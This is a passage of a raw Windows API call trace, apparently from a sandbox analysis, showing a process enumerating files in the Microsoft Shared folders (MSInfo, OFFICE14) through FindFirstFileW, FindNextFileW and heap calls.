ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.070] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1 [0080.070] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 0 [0080.070] FindClose (in: hFindFile=0x32552c0 | out: hFindFile=0x32552c0) returned 1 [0080.070] GetProcessHeap () returned 0x470000 [0080.070] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f5b80 | out: hHeap=0x470000) returned 1 [0080.070] FindNextFileW (in: hFindFile=0x3255240, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0080.070] GetProcessHeap () returned 0x470000 [0080.070] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f5b80 [0080.070] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32552c0 [0080.071] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.071] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.071] GetProcessHeap () returned 0x470000 [0080.071] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0080.072] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0080.072] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.072] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0080.072] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0080.072] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0080.072] GetProcessHeap () returned 0x470000 [0080.072] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0080.072] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0080.072] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0080.073] FindClose (in: hFindFile=0x32552c0 | out: hFindFile=0x32552c0) returned 1 [0080.073] GetProcessHeap () returned 0x470000 [0080.073] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f5b80 | out: hHeap=0x470000) returned 1 [0080.074] FindNextFileW (in: hFindFile=0x3255240, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0080.074] GetProcessHeap () returned 0x470000 [0080.074] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f5b80 [0080.074] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32552c0 [0080.075] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.075] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0080.075] GetProcessHeap () returned 0x470000 [0080.075] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0080.076] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0080.468] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.469] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1 [0080.469] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0xcdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBCI.DLL", cAlternateFileName="")) returned 1 [0080.469] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x51d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERECR.DLL", cAlternateFileName="")) returned 1 [0080.469] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xd2990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSTR.DLL", cAlternateFileName="")) returned 1 [0080.469] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f139500, ftCreationTime.dwHighDateTime=0x1c69359, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7f139500, ftLastWriteTime.dwHighDateTime=0x1c69359, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO210.CHM", cAlternateFileName="")) returned 1 [0080.469] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b06d00, ftCreationTime.dwHighDateTime=0x1ca9127, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe4b06d00, ftLastWriteTime.dwHighDateTime=0x1ca9127, nFileSizeHigh=0x0, nFileSizeLow=0x25b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALRTINTL.DLL", cAlternateFileName="")) returned 1 [0080.469] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x269380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0080.470] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="MSOINT~1.IDX")) returned 1 [0080.470] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="MSOINT~2.IDX")) returned 1 [0080.471] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1 [0080.471] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARPMANR.DLL", cAlternateFileName="")) returned 1 [0080.471] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.HTM", cAlternateFileName="")) returned 1 [0080.471] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 1 [0080.471] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 0 [0080.471] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0080.471] GetProcessHeap () returned 0x470000 [0080.471] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0080.472] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0080.472] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0080.472] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1 [0080.472] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1 [0080.472] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1 [0080.472] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1 [0080.472] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1 [0080.472] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1 [0080.473] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1 [0080.473] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1 [0080.473] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1 [0080.473] FindNextFileW (in: hFindFile=0x32552c0, 